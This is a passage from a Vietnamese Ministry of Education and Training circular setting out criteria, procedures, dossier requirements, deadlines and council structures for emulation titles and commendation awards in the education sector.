Tiêu chuẩn Bằng khen của Bộ Giáo dục và Đào tạo thực hiện theo Điều 49 của Nghị định 42/2010/NĐ - CP ngày 15 tháng 4 năm 2010 của Chính phủ.
- Kỷ niệm chương “Vì sự nghiệp giáo dục” thực hiện theo Quyết định số 26/2005/QĐ-BGD&ĐT và 27/2005/QĐ-BGD&ĐT ngày 29 tháng 8 năm 2005 của Bộ trưởng Bộ Giáo dục và Đào tạo về việc ban hành Kỷ niệm chương “Vì sự nghiệp giáo dục” và Quy chế xét tặng.
- Các tập thể, cá nhân ngoài ngành Giáo dục có nhiều đóng góp cho sự nghiệp phát triển giáo dục và đào tạo được xét khen thưởng theo đề nghị của đơn vị chủ quản.
- Các chương trình, đề án lớn, chuyên đề, hội thi: Các đơn vị chủ trì xây dựng kế hoạch và đăng ký với đơn vị chuyên trách công tác thi đua khen thưởng thuộc Bộ Giáo dục và Đào tạo theo quy định hàng năm.
**Điều 21. Giấy khen của Thủ trưởng cơ quan, đơn vị**
Giấy khen của Thủ trưởng cơ quan, đơn vị là hình thức khen thưởng thường xuyên đối với tập thể, cá nhân vào dịp tổng kết công tác hàng năm hoặc khen theo chuyên đề, khen đột xuất.
- Tiêu chuẩn khen thưởng thường xuyên đối với tập thể:
Giấy khen của Thủ trưởng cơ quan, đơn vị tặng cho các tập thể đạt tiêu chuẩn sau:
- a) Hoàn thành tốt nhiệm vụ;
- b) Nội bộ đoàn kết; thực hiện tốt quy chế dân chủ ở cơ sở; tổ chức tốt các phong trào thi đua;
- c) Chăm lo đời sống vật chất, tinh thần trong tập thể; Thực hành tiết kiệm;
- d) Thực hiện đầy đủ các chế độ, chính sách đối với mọi thành viên trong tập thể.
- Tiêu chuẩn khen thưởng thường xuyên đối với cá nhân:
Giấy khen của Thủ trưởng cơ quan, đơn vị tặng cho các cá nhân đạt tiêu chuẩn sau:
- a) Hoàn thành tốt nhiệm vụ, nghĩa vụ công dân;
- b) Có phẩm chất đạo đức tốt; đoàn kết, gương mẫu chấp hành chủ trương, chính sách của Đảng, pháp luật của Nhà nước;
- c) Thường xuyên học tập nâng cao trình độ chuyên môn, nghiệp vụ.
- Thủ trưởng cơ quan, đơn vị xem xét khen thưởng đối với tập thể, cá nhân có thành tích xuất sắc sau khi kết thúc một cuộc vận động, một phong trào thi đua do cơ quan, đơn vị phát động hoặc được bình xét là người tốt, việc tốt có tác dụng nêu gương trong phạm vi hoạt động của cơ quan, đơn vị hoặc có thành tích đột xuất.
** Điều 22. Quy định về việc bình xét danh hiệu thi đua, hình thức khen thưởng**
- Tập thể, cá nhân có đăng ký thi đua, đạt thành tích và tiêu chuẩn danh hiệu thi đua, hình thức khen thưởng đều được xét danh hiệu thi đua và khen thưởng. Việc bình xét danh hiệu thi đua, khen thưởng khi kết thúc năm học hoặc năm công tác được tiến hành theo trình tự sau: Bình xét danh hiệu thi đua trước, hình thức khen thưởng sau; bình xét cá nhân trước, tập thể sau; bình xét danh hiệu thi đua, hình thức khen thưởng theo thứ tự từ thấp đến cao (danh hiệu Lao động tiên tiến, Chiến sỹ thi đua cơ sở, Chiến sỹ thi đua cấp Bộ, ngành, tỉnh, thành phố trực thuộc Trung ương, Chiến sỹ thi đua toàn quốc đối với cá nhân; Tập thể lao động tiên tiến, Tập thể lao động xuất sắc, Cờ thi đua cấp Bộ, ngành, tỉnh, thành phố trực thuộc Trung ương, Cờ thi đua của Chính phủ đối với tập thể; hình thức khen thưởng Giấy khen, Bằng khen cấp Bộ, ngành, tỉnh, thành phố trực thuộc Trung ương, Bằng khen của Thủ tướng Chính phủ, Huân chương, Huy chương).
- Trong khi bình xét danh hiệu thi đua, hình thức khen thưởng Hội đồng Thi đua Khen thưởng các cấp thực hiện theo quy chế của Hội đồng cùng cấp, công nhận danh hiệu thi đua, hình thức khen thưởng hoặc xét trình công nhận danh hiệu thi đua hình thức khen thưởng đối với các tập thể và cá nhân có từ 2/3 tổng số phiếu đồng ý trở lên tính trên tổng số thành viên Hội đồng được tham gia ý kiến (Danh hiệu Chiến sỹ thi đua toàn quốc và danh hiệu vinh dự Nhà nước thực hiện theo quy định tại Điều 25 của Thông tư này).
**Chương IV** ** THẨM QUYỀN QUYẾT ĐỊNH, TRAO TẶNG, THỦ TỤC VÀ HỒ SƠ ** **ĐỀ NGHỊ DANH HIỆU THI ĐUA, HÌNH THỨC KHEN THƯỞNG** **Điều 23. Thẩm quyền quyết định tặng danh hiệu thi đua, hình thức khen thưởng**
- Thẩm quyền quyết định tặng thưởng danh hiệu thi đua, hình thức khen thưởng cấp Nhà nước: Huân chương, Huy chương Hữu nghị, “Giải thưởng Hồ Chí Minh”, “Giải thưởng Nhà nước”, Danh hiệu vinh dự Nhà nước, “Cờ thi đua của Chính phủ”, danh hiệu “Chiến sĩ thi đua toàn quốc” và “Bằng khen của Thủ tướng Chính phủ” thực hiện theo quy định tại Điều 77 và Điều 78 Luật Thi đua, Khen thưởng.
- Bộ trưởng Bộ Giáo dục và Đào tạo quyết định:
- a) Tặng Bằng khen cho các tập thể, cá nhân được quy định tại khoản 2 Điều 2 Thông tư này;
- b) Tặng “Cờ thi đua của Bộ Giáo dục và Đào tạo” cho các đơn vị được quy định tại điểm a, b, c, d, đ, e khoản 1 Điều 2 của Thông tư này;
- c) Công nhận danh hiệu “Lao động tiên tiến”, “Chiến sĩ thi đua cơ sở”, “Tập thể lao động tiên tiến”, “Tập thể lao động xuất sắc”, “Chiến sĩ thi đua cấp Bộ” cho các tập thể và cá nhân được quy định tại điểm a khoản 1 Điều 2 của Thông tư này;
- d) Công nhận danh hiệu “Tập thể lao động xuất sắc”, “Chiến sĩ thi đua cấp Bộ” cho các tập thể và các cá nhân được quy định tại điểm b, c khoản 1 Điều 2 của Thông tư này;
đ) Công nhận danh hiệu “Chiến sĩ thi đua cấp Bộ”, xét đề nghị Thủ tướng Chính phủ tặng thưởng danh hiệu Chiến sỹ thi đua toàn quốc và các hình thức khen thưởng cấp Nhà nước cho các tập thể và cá nhân thuộc Đại học Quốc gia Hà Nội, Đại học Quốc gia Thành phố Hồ Chí Minh.
- Thủ trưởng các đơn vị được quy định tại điểm b, c khoản 1 Điều 2 của Thông tư này quyết định tặng Giấy khen, công nhận danh hiệu “Lao động tiên tiến”, “Chiến sĩ thi đua cơ sở” và “Tập thể lao động tiên tiến” cho các cá nhân, tập thể thuộc thẩm quyền quản lý.
- Bộ trưởng Bộ Giáo dục và Đào tạo ủy quyền cho Giám đốc Đại học Quốc gia Hà Nội, Đại học Quốc gia Thành phố Hồ Chí Minh, Đại học Thái Nguyên, Đại học Huế, Đại học Đà Nẵng, Tổng Giám đốc Nhà xuất bản Giáo dục Việt Nam:
- a) Xét, công nhận danh hiệu “Tập thể Lao động xuất sắc” cho các tập thể quy định tại điểm e khoản 1 Điều 2 Thông tư này thuộc quyền quản lý;
- b) Báo cáo kết quả quá trình xét tặng về đơn vị chuyên trách công tác thi đua khen thưởng thuộc Bộ Giáo dục và Đào tạo trước ngày 31 tháng 7 hàng năm đối với Đại học Quốc gia Hà Nội, Đại học Quốc gia Thành phố Hồ Chí Minh, Đại học Thái Nguyên, Đại học Huế, Đại học Đà Nẵng; trước ngày 01 tháng 3 hàng năm đối với Nhà xuất bản Giáo dục; báo cáo gồm có: Biên bản xét duyệt, quyết định công nhận danh hiệu “Tập thể lao động xuất sắc”.
- Các tập thể và cá nhân thuộc đối tượng quy định tại điểm d, đ khoản 1 Điều 2 của Thông tư này thực hiện theo quy định tại Điều 79, Điều 80 của Luật Thi đua, Khen thưởng.
** Điều 24. Tổ chức trao tặng danh hiệu thi đua và hình thức khen thưởng**
- 1
**.**Nghi thức trao tặng các hình thức khen thưởng Nhà nước **t**hực hiện theo quy định của Chính phủ về nghi thức Nhà nước trong tổ chức mít tinh, lễ kỷ niệm, trao tặng và đón nhận danh hiệu vinh dự Nhà nước, Huân chương, Huy chương, “Cờ thi đua của Chính phủ”, Bằng khen của Thủ tướng Chính phủ.
- Bộ trưởng Bộ Giáo dục và Đào tạo tổ chức trao tặng hoặc ủy quyền cho Thủ trưởng cơ quan, đơn vị trao tặng danh hiệu thi đua, hình thức khen thưởng thuộc thẩm quyền quyết định của Bộ trưởng Bộ Giáo dục và Đào tạo.
- Danh hiệu Anh hùng Lao động, “Giải thưởng Hồ Chí Minh”, “Giải thưởng Nhà nước”, các danh hiệu thi đua và hình thức khen thưởng cấp Nhà nước: “Cờ thi đua của Chính phủ”, Bằng khen của Thủ tướng Chính phủ, Chiến sỹ thi đua toàn quốc sau khi nhận được thông báo Quyết định khen thưởng của Thường trực Hội đồng Thi đua - khen thưởng ngành, Thủ trưởng đơn vị lập kế hoạch tổ chức đón nhận, trình Bộ trưởng. Sau khi có ý kiến chỉ đạo của Bộ trưởng, đơn vị chuyên trách công tác thi đua, khen thưởng phối hợp với các đơn vị tổ chức trao tặng.
- Thủ trưởng các cơ quan, đơn vị trao tặng danh hiệu thi đua, hình thức khen thưởng thuộc thẩm quyền quyết định của mình.
- Việc tổ chức trao tặng các danh hiệu thi đua, hình thức khen thưởng cần tiến hành trang trọng, thiết thực, tránh phô trương hình thức, lãng phí. Có thể kết hợp trao tặng danh hiệu thi đua và hình thức khen thưởng vào dịp tổng kết công tác của đơn vị, ngành hoặc lồng ghép các hoạt động khác của đơn vị để tiết kiệm thời gian và chi phí.
**Điều 25. Quy trình đề nghị khen thưởng đối với các hình thức Huân chương Sao vàng, Huân chương Hồ Chí Minh, Huân chương Độc lập, Huân chương Hữu nghị, Huy chương Hữu nghị; Danh hiệu vinh dự Nhà nước; Danh hiệu “Chiến sĩ thi đua toàn quốc”.**
- Các đối tượng quy định tại điểm a, b, c khoản 1 Điều 2 của Thông tư này và Đại học Quốc gia Hà Nội, Đại học Quốc gia Thành phố Hồ Chí Minh gửi hồ sơ đề nghị khen thưởng về đơn vị chuyên trách công tác thi đua, khen thưởng thuộc Bộ Giáo dục và Đào tạo.
- Đơn vị chuyên trách công tác thi đua khen thưởng thuộc Bộ Giáo dục và Đào tạo thẩm định hồ sơ, báo cáo Chủ tịch Hội đồng cho ý kiến chấp thuận trước khi tiến hành đưa ra Hội đồng Thi đua - Khen thưởng ngành xem xét, bỏ phiếu.
- Trình Thủ tướng Chính phủ sau khi có ý kiến của Ban Cán sự Đảng Bộ Giáo dục và Đào tạo đối với trường hợp sau:
- a) Đối với các hình thức khen thưởng Huân chương Sao vàng, Huân chương Hồ Chí Minh, Huân chương Độc lập, Huân chương Hữu nghị, Huy chương Hữu nghị có từ 2/3 số phiếu đồng ý trở lên tính trên tổng số thành viên Hội đồng được tham gia ý kiến;
- b) Đối với danh hiệu “Chiến sỹ thi đua toàn quốc”, Anh hùng Lao động, Nhà giáo Ưu tú, Nhà giáo Nhân dân có từ 90% số phiếu đồng ý trở lên tính trên tổng số thành viên Hội đồng.
**Điều 26. Quy trình đề nghị khen thưởng đối với hình thức Huân chương Lao động, Cờ thi đua của Chính phủ, Bằng khen Thủ tướng Chính phủ**
- Các đối tượng quy định tại điểm a, b, c khoản 1 Điều 2 của Thông tư này và Đại học Quốc gia Hà Nội, Đại học Quốc gia Thành phố Hồ Chí Minh gửi hồ sơ đề nghị khen thưởng về đơn vị chuyên trách công tác thi đua, khen thưởng thuộc Bộ Giáo dục và Đào tạo.
- Đơn vị chuyên trách công tác thi đua, khen thưởng thuộc Bộ Giáo dục và Đào tạo báo cáo Chủ tịch Hội đồng cho ý kiến trước khi gửi văn bản xin ý kiến các ủy viên Hội đồng Thi đua - Khen thưởng ngành Giáo dục.
- Đơn vị chuyên trách công tác thi đua, khen thưởng thuộc Bộ Giáo dục và Đào tạo tổng hợp các ý kiến trình Chủ tịch Hội đồng quyết định và hoàn chỉnh hồ sơ trình Thủ tướng Chính phủ xét tặng hoặc trình Thủ tướng đề nghị Chủ tịch nước quyết định đối với các trường hợp sau:
- a) Huân chương Lao động, Bằng khen của Thủ tướng Chính phủ đối với các tập thể và cá nhân đạt từ 2/3 số phiếu đồng ý trở lên tính trên tổng số thành viên Hội đồng được xin ý kiến;
- b) Cờ Thi đua của Chính phủ cho các tập thể đạt từ 90% số phiếu đồng ý trở lên tính trên tổng số thành viên Hội đồng được xin ý kiến.
**Điều 27. Quy trình đề nghị xét đối với danh hiệu “Cờ thi đua của Bộ Giáo dục và Đào tạo”, Bằng khen của Bộ trưởng Bộ Giáo dục và Đào tạo**
- Các đối tượng quy định tại điểm a, b, c khoản 1 Điều 2 Thông tư này: Sau khi nhận được hồ sơ đơn vị chuyên trách công tác thi đua, khen thưởng thẩm định hồ sơ, trình Hội đồng Thi đua, Khen thưởng Bộ cho ý kiến trước khi trình Bộ trưởng quyết định.
- Đối với các đối tượng quy định tại điểm d, đ khoản 1 Điều 2 và điểm b khoản 2 Điều 2 Thông tư này: Thủ trưởng đơn vị có liên quan trực tiếp lập tờ trình (kèm danh sách và báo cáo thành tích) đề nghị Bộ Giáo dục và Đào tạo khen thưởng gửi về đơn vị chuyên trách công tác thi đua, khen thưởng thẩm định, trình Hội đồng Thi đua, Khen thưởng Bộ xem xét và trình Bộ trưởng quyết định.
**Điều 28. Báo cáo thành tích đề nghị khen thưởng**
- Báo cáo thành tích đề nghị khen thưởng phải bám sát tiêu chuẩn đề nghị, bảo đảm nội dung và hình thức của báo cáo phải phù hợp với từng hình thức khen thưởng;
- Tập thể, cá nhân trình khen theo tiêu chuẩn nào thì báo cáo thành tích theo tiêu chuẩn đó; hồ sơ đề nghị khen thưởng phải phù hợp với hình thức khen thưởng. Báo cáo phải có đủ căn cứ để đối chiếu với các tiêu chuẩn quy định của Luật Thi đua, Khen thưởng, Nghị định số 42/2010/NĐ-CP, Thông tư số 02/2011/TT- BNV và Thông tư này.
- Quy định cụ thể về báo cáo thành tích như sau:
- a) Đối với Huân chương, Huy chương, danh hiệu Anh hùng Lao động, Cờ thi đua của Chính phủ, Bằng khen của Thủ tướng Chính phủ, Chiến sỹ thi đua toàn quốc: Dài không quá 12 trang A4;
- b) Đối với danh hiệu Chiến sỹ thi đua cơ sở, Chiến sỹ thi đua cấp Bộ, Tập thể lao động xuất sắc, Cờ thi đua của Bộ Giáo dục và Đào tạo, Bằng khen Bộ trưởng: Dài không quá 04 trang A4.
**Điều 29. Hiệp y khen thưởng**
- Bộ Giáo dục và Đào tạo thực hiện hiệp y khen thưởng theo đề nghị của Ban Thi đua - Khen thưởng Trung ương.
- Khi nhận được công văn đề nghị của Ban thi đua Khen thưởng Trung ương, đơn vị chuyên trách công tác thi đua khen thưởng có trách nhiệm xin ý kiến của các đơn vị có liên quan, soạn thảo văn bản hiệp y, trình Thứ trưởng phụ trách xem xét, quyết định.
**Điều 30**. **Tuyến trình xét danh hiệu thi đua, khen thưởng**
- Cấp nào chủ trì phát động các đợt thi đua thì cấp đó lựa chọn cá nhân, tập thể xuất sắc, tiêu biểu để công nhận danh hiệu thi đua, khen thưởng hoặc đề nghị cấp trên công nhận danh hiệu thi đua, quyết định khen thưởng. Tuyến trình xét khen thưởng thực hiện theo quy định tại Điều 53 Nghị định số 42/2010/NĐ - CP và điểm 1 Mục III Thông tư số 02/2011/TT- BNV
- Bộ trưởng Bộ Giáo dục và Đào tạo trình cấp có thẩm quyền xét tặng các danh hiệu thi đua, hình thức khen thưởng cấp Nhà nước: “Cờ thi đua của Chính phủ”, “Bằng khen của Thủ tướng Chính phủ”, “Chiến sỹ thi đua toàn quốc”, Huân chương, Huy chương, danh hiệu vinh dự Nhà nước, “Giải thưởng Hồ Chí Minh”, “Giải thưởng Nhà nước” cho các cá nhân và tập thể do Bộ quản lý.
- Thủ trưởng các đơn vị thuộc Bộ trình Bộ trưởng xét tặng danh hiệu thi đua, hình thức khen thưởng theo thẩm quyền hoặc đề nghị Bộ trưởng trình cấp có thẩm quyền xét tặng danh hiệu thi đua, hình thức khen thưởng theo quy định đối với các tập thể và cá nhân thuộc phạm vi quản lý.
- Thủ trưởng các đơn vị thuộc đối tượng quy định tại điểm d, đ khoản 1 Điều 2 của Thông tư này có trách nhiệm khen thưởng theo thẩm quyền và trình Chủ tịch Ủy ban nhân dân tỉnh, thành phố trực thuộc Trung ương, bộ, ban, ngành Trung ương theo quy định của Luật Thi đua, Khen thưởng, Nghị định số 42/2010/NĐ-CP ngày 15 tháng 4 năm 2005 của Chính phủ và các văn bản quy định của Uỷ ban nhân dân tỉnh, Bộ, ban, ngành Trung ương. Đề nghị khen thưởng Bằng khen của Bộ trưởng Bộ Giáo dục và Đào tạo, Cờ thi đua của Bộ Giáo dục và Đào tạo, Kỷ niệm chương “Vì sự nghiệp giáo dục”.
- Vụ trưởng Vụ Hợp tác Quốc tế có trách nhiệm thực hiện các thủ tục theo quy định và phối hợp với đơn vị chuyên trách công tác thi đua khen thưởng xét trình Bộ trưởng quyết định khen thưởng đối với các tổ chức, cá nhân người nước ngoài có thành tích xuất sắc tiêu biểu đóng góp cho ngành Giáo dục.
- Công đoàn Giáo dục các cấp và cán bộ công đoàn chuyên trách, hưởng lương từ ngân sách công đoàn ở các cấp thuộc hệ thống công đoàn quản lý thực hiện việc xét tặng các danh hiệu thi đua và hình thức khen thưởng theo hướng dẫn của Công đoàn Giáo dục Việt Nam.
**Điều 31. Hồ sơ đề nghị khen thưởng**
- Hồ sơ đề nghị khen thưởng thực hiện theo quy định từ Điều 53 đến Điều 65 Nghị định số 42/2010/NĐ-CP ngày 15 tháng 4 năm 2010 của Chính phủ quy định chi tiết thi hành một số điều của Luật Thi đua, Khen thưởng và Luật sửa đổi một số điều của Luật Thi đua, Khen thưởng và Phụ lục kèm theo Thông tư số 02/2011/TT-BNV ngày 24 tháng 01 năm 2011 của Bộ Nội vụ hướng dẫn thực hiện Nghị định số 42/2010/NĐ-CP ngày 15 tháng 4 năm 2010 của Chính phủ.
- Hồ sơ đề nghị công nhận danh hiệu thi đua, khen thưởng cấp Nhà nước
- a) Hồ sơ đề nghị công nhận danh hiệu thi đua, khen thưởng cấp Nhà nước thực hiện theo quy định tại các Điều 53, 54, 55, 56, 57, 58, 59, 60, của Nghị định số 42/2010/NĐ-CP ngày 15 tháng 4 năm 2010 của Chính phủ;
- b) Số lượng hồ sơ gửi về Bộ Giáo dục và Đào tạo nhiều hơn 01 bộ so với số lượng quy định tại Thông tư 02/2011/TT- BNV;
- Hồ sơ đề nghị Bộ trưởng công nhận danh hiệu thi đua, hình thức khen thưởng
- a) Tờ trình, biên bản họp Hội đồng, danh sách các tập thể và cá nhân được đề nghị;
- b) Báo cáo thành tích đề nghị khen thưởng của tập thể, cá nhân;
- c) Bản chụp (không cần công chứng) văn bản công nhận sáng kiến kinh nghiệm, giải pháp, đề tài nghiên cứu: Cấp cơ sở đối với cá nhân đề nghị danh hiệu “Chiến sỹ thi đua cơ sở”; cấp Bộ đối với cá nhân đề nghị công nhận danh hiệu “Chiến sỹ thi đua cấp Bộ ” và “Chiến sỹ thi đua toàn quốc”;
Số lượng hồ sơ gửi về Bộ Giáo dục và Đào tạo là 01 bộ.
- Hồ sơ, thủ tục đơn giản đề nghị khen thưởng thành tích đột xuất
- a) Tờ trình đề nghị của Thủ trưởng đơn vị;
- b) Bản tóm tắt thành tích của đơn vị quản lý trực tiếp ghi rõ hành động, thành tích để đề nghị khen thưởng theo thủ tục đơn giản;
Số lượng hồ sơ gửi về Bộ Giáo dục và Đào tạo là 01 bộ.
- Thời gian gửi hồ sơ
- a) Hồ sơ đề nghị tặng “Cờ thi đua của Bộ Giáo dục và Đào tạo”, công nhận “Tập thể lao động xuất sắc”, “Chiến sĩ thi đua cấp Bộ” và tặng Bằng khen của Bộ trưởng Bộ Giáo dục và Đào tạo gửi về đơn vị chuyên trách công tác thi đua, khen thưởng trước ngày 15 tháng 8 hàng năm đối với các đơn vị xét thi đua theo năm học, trước ngày 30 tháng 01 hàng năm đối với đơn vị xét thi đua theo năm công tác;
- b) Hồ sơ đề nghị tặng Huân chương, Bằng khen của Thủ tướng Chính phủ, “Cờ thi đua của Chính phủ”, phong tặng danh hiệu “Chiến sĩ thi đua toàn quốc” gửi về Bộ Giáo dục và Đào tạo trước ngày 30 tháng 9 hàng năm, đối với các đơn vị xét thi đua theo năm công tác chậm nhất là ngày 30 tháng 3 hàng năm;
- c) Hồ sơ đề nghị xét tặng danh hiệu thi đua, hình thức khen thưởng của các đối tượng quy định tại điểm a, c khoản 1 Điều 2 của Thông tư này gửi về đơn vị chuyên trách công tác thi đua, khen thưởng thuộc Bộ Giáo dục và Đào tạo trước ngày 31 tháng 12 hàng năm.
**Điều 32. Tiếp nhận, thẩm định và quản lý lưu trữ hồ sơ**
- Các cơ sở giáo dục, các đơn vị có trách nhiệm gửi hồ sơ đầy đủ, đúng thời hạn quy định, đơn vị chuyên trách công tác thi đua, khen thưởng tiếp nhận, thẩm định hồ sơ đề nghị xét danh hiệu thi đua, hình thức khen thưởng.
- Đối với các trường hợp hồ sơ không đầy đủ, không đúng quy định, đơn vị chuyên trách công tác thi đua khen thưởng có văn bản gửi đơn vị trình, xác định rõ thời hạn và nội dung hồ sơ cần bổ sung cho đơn vị chuyên trách công tác thi đua khen thưởng.
- Thời gian thẩm định hồ sơ của đơn vị chuyên trách công tác thi đua, khen thưởng quy định như sau:
- a) Đối với hình thức khen thưởng của Bộ Giáo dục và Đào tạo, thời gian thẩm định hồ sơ là 15 ngày làm việc kể từ ngày nhận đủ hồ sơ theo quy định;
- b) Đối với việc trình khen thưởng thường xuyên cấp Nhà nước, thời gian thẩm định hồ sơ là 20 ngày làm việc kể từ ngày nhận đủ hồ sơ theo quy định.
- Quản lý hồ sơ thi đua khen thưởng
- a) Quản lý hồ sơ tại Bộ Giáo dục và Đào tạo: Đơn vị chuyên trách công tác thi đua khen thưởng thuộc Bộ Giáo dục và Đào tạo có trách nhiệm quản lý hồ sơ đề nghị các danh hiệu thi đua, hình thức khen thưởng thuộc thẩm quyền của Bộ trưởng, các danh hiệu thi đua, hình thức khen thưởng cấp Nhà nước;
- b) Quản lý hồ sơ tại các đơn vị: Các đơn vị có trách nhiệm tổ chức quản lý, toàn bộ hồ sơ liên quan đến công tác thi đua - khen thưởng của đơn vị;
- c) Khuyến khích các cơ quan, đơn vị ứng dụng công nghệ thông tin vào việc quản lý hồ sơ thi đua, khen thưởng các cấp.
- Lưu trữ hồ sơ thi đua khen thưởng
Các đơn vị chuyên trách công tác thi đua khen thưởng có trách nhiệm thống kê và lập hồ sơ về công tác thi đua khen thưởng, nộp lưu trữ theo quy định hiện hành.
**Chương V** ** HỘI ĐỒNG THI ĐUA - KHEN THƯỞNG,** ** HỘI ĐỒNG KHOA HỌC, SÁNG KIẾN CÁC CẤP** **Điều 33. Hội đồng Thi đua - Khen thưởng ngành Giáo dục**
- Hội đồng Thi đua - Khen thưởng ngành Giáo dục do Bộ trưởng Bộ Giáo dục và Đào tạo thành lập, thực hiện chức năng tư vấn, giúp Bộ trưởng về công tác thi đua, khen thưởng trong ngành Giáo dục.
- Hội đồng Thi đua - Khen thưởng ngành Giáo dục có các nhiệm vụ, quyền hạn cụ thể sau:
- a) Giúp Bộ trưởng Bộ Giáo dục và Đào tạo tổ chức, phát động, hướng dẫn, chỉ đạo triển khai thực hiện nhằm phát triển mạnh mẽ, rộng khắp, đúng hướng, có hiệu quả các phong trào thi đua, các cuộc vận động do Đảng, Nhà nước và Ngành phát động; nhân rộng điển hình tiên tiến, gương người tốt, việc tốt trong toàn ngành;
- b) Xét chọn các tập thể, cá nhân có thành tích xuất sắc trong phong trào thi đua của ngành Giáo dục trình Bộ trưởng quyết định công nhận, tặng thưởng các danh hiệu thi đua, hình thức khen thưởng thuộc thẩm quyền của Bộ trưởng hoặc trình các cấp có thẩm quyền xét, quyết định khen thưởng;
- c) Xem xét, đề xuất tham mưu với Bộ trưởng giải quyết các khiếu nại, tố cáo, kiến nghị về thi đua, khen thưởng trong ngành Giáo dục; xem xét trình Bộ trưởng quyết định thu hồi hoặc đề nghị các cấp có thẩm quyền thu hồi quyết định khen thưởng đối với các trường hợp phát hiện có vi phạm các quy định về thi đua, khen thưởng.
- Thành phần Hội đồng gồm:
- a) Chủ tịch Hội đồng: Bộ trưởng Bộ Giáo dục và Đào tạo;
- b) Phó Chủ tịch Hội đồng: Thứ trưởng phụ trách công tác thi đua, khen thưởng là Phó Chủ tịch Thường trực; Chủ tịch Công đoàn Giáo dục Việt Nam;
- c) Ủy viên kiêm thư ký Hội đồng: Trưởng đơn vị chuyên trách công tác thi đua khen thưởng thuộc Bộ Giáo dục và Đào tạo;
- d) Các ủy viên Hội đồng: Các Thứ trưởng; Thủ trưởng các Vụ, Cục, Văn phòng và Thanh tra, Giám đốc Cơ quan đại diện của Bộ tại Thành phố Hồ Chí Minh;
- Tổ chức, hoạt động của Hội đồng Thi đua - Khen thưởng ngành Giáo dục được thực hiện theo quy định cụ thể của Bộ trưởng Bộ Giáo dục và Đào tạo.
**Điều 34. Hội đồng Thi đua - Khen thưởng trên cơ sở và cơ sở**
- Hội đồng Thi đua - Khen thưởng Đại học Quốc gia Hà Nội, Đại học Quốc gia Thành phố Hồ Chí Minh, Đại học Thái Nguyên, Đại học Huế, Đại học Đà Nẵng, Nhà xuất bản Giáo dục Việt Nam (gọi tắt là Hội đồng trên cơ sở)
- a) Hội đồng Thi đua - Khen thưởng trên cơ sở do Giám đốc các đơn vị trên quyết định thành lập;
- b) Hội đồng Thi đua - Khen thưởng trên cơ sở có chức năng nhiệm vụ tư vấn giúp Thủ trưởng đơn vị tổ chức, hướng dẫn, chỉ đạo phong trào thi đua trong đơn vị; xét tặng danh hiệu thi đua, hình thức khen thưởng cho các tập thể và cá nhân thuộc quyền quản lý và trình Hội đồng Thi đua, Khen thưởng ngành Giáo dục xét trình Bộ trưởng quyết định tặng thưởng các danh hiệu thi đua và hình thức khen thưởng theo thẩm quyền; trình Nhà nước khen thưởng và công nhận danh hiệu thi đua cấp Nhà nước.
- c) Thành phần Hội đồng gồm
- Chủ tịch Hội đồng: Thủ trưởng đơn vị;
- Phó Chủ tịch Hội đồng: Phó Thủ trưởng phụ trách công tác thi đua, khen thưởng; Chủ tịch Công đoàn đơn vị;
- Ủy viên kiêm thư ký Hội đồng: Trưởng đơn vị chuyên trách công tác thi đua, khen thưởng hoặc cán bộ được giao phụ trách công tác thi đua khen thưởng;
- Ủy viên Hội đồng: Các Phó Thủ trưởng đơn vị, đại diện lãnh đạo các đơn vị thành viên, đại diện cấp ủy Đảng, đại diện Đoàn Thanh niên Cộng sản Hồ Chí Minh và cán bộ chủ chốt của đơn vị do Thủ trưởng đơn vị lựa chọn, quyết định.
- Hội đồng Thi đua - Khen thưởng cơ sở là Hội đồng của các đối tượng quy định tại điểm a, b, c, d, đ khoản 1 Điều 2 của Thông tư này
- a) Hội đồng Thi đua - Khen thưởng cơ sở do Thủ trưởng các cơ quan, đơn vị quyết định thành lập;
- b) Hội đồng Thi đua - Khen thưởng cơ sở thực hiện chức năng tư vấn, giúp Thủ trưởng các cơ quan, đơn vị về công tác Thi đua, Khen thưởng trong lĩnh vực hoạt động của cơ quan, đơn vị mình.
- c) Hội đồng Thi đua - Khen thưởng cơ sở có nhiệm vụ, quyền hạn cụ thể sau:
- Giúp Thủ trưởng cơ quan, đơn vị tổ chức, hướng dẫn, chỉ đạo phong trào thi đua của cơ quan, đơn vị nhằm phát triển phong trào mạnh mẽ, đúng hướng, có hiệu quả; phát hiện và tổ chức nhân rộng các điển hình tiên tiến qua phong trào thi đua;
- Đối với các đơn vị thuộc điểm d, đ khoản 1 Điều 2: Xét chọn những tập thể và cá nhân có thành tích xuất sắc trong phong trào thi đua của đơn vị trình Ủy ban nhân dân tỉnh (thành phố), Bộ, ban, ngành Trung ương xét tặng danh hiệu thi đua và khen thưởng theo thẩm quyền;
- Đối với các đơn vị thuộc điểm a, b, c khoản 1 Điều 2: Xét chọn những tập thể và cá nhân có thành tích xuất sắc trình Hội đồng Thi đua - Khen thưởng ngành Giáo dục xét tặng các danh hiệu thi đua và khen thưởng theo thẩm quyền của Bộ Giáo dục và Đào tạo;
- Xem xét trình Thủ trưởng cơ quan, đơn vị giải quyết các khiếu nại, tố cáo, kiến nghị về thi đua, khen thưởng; xem xét trình Thủ trưởng cơ quan, đơn vị quyết định thu hồi hoặc đề nghị cấp có thẩm quyền thu hồi quyết định khen thưởng đối với các trường hợp có vi phạm các quy định về Thi đua, khen thưởng.
- Việc tổ chức Hội đồng Thi đua - Khen thưởng cơ sở phải căn cứ vào cơ cấu tổ chức và số lượng cán bộ, công chức của cơ quan, đơn vị. Số lượng thành viên Hội đồng Thi đua - Khen thưởng cơ sở có từ 07 thành viên trở lên với thành phần sau:
- a) Chủ tịch: Thủ trưởng đơn vị;
- b) Phó Chủ tịch: Phó Thủ trưởng phụ trách công tác thi đua - khen thưởng, Chủ tịch Công đoàn đơn vị;
- c) Ủy viên thư ký: Cán bộ được giao phụ trách công tác thi đua, khen thưởng của đơn vị;
- d) Các ủy viên: Các Phó Thủ trưởng đơn vị, đại diện cấp ủy Đảng, đại diện Đoàn Thanh niên Cộng sản Hồ Chí Minh và cán bộ chủ chốt của đơn vị do Thủ trưởng đơn vị lựa chọn, quyết định.
**Điều 35. Hội đồng Khoa học, sáng kiến **
- Thẩm quyền thành lập Hội đồng
- a) Bộ trưởng Bộ Giáo dục và Đào tạo quyết định thành lập Hội đồng khoa học, sáng kiến của Bộ Giáo dục và Đào tạo.
- b) Thủ trưởng các đối tượng quy định tại điểm b, c khoản 1 Điều 2 của Thông tư này quyết định thành lập Hội đồng khoa học, sáng kiến cơ sở.
- Nhiệm vụ của Hội đồng
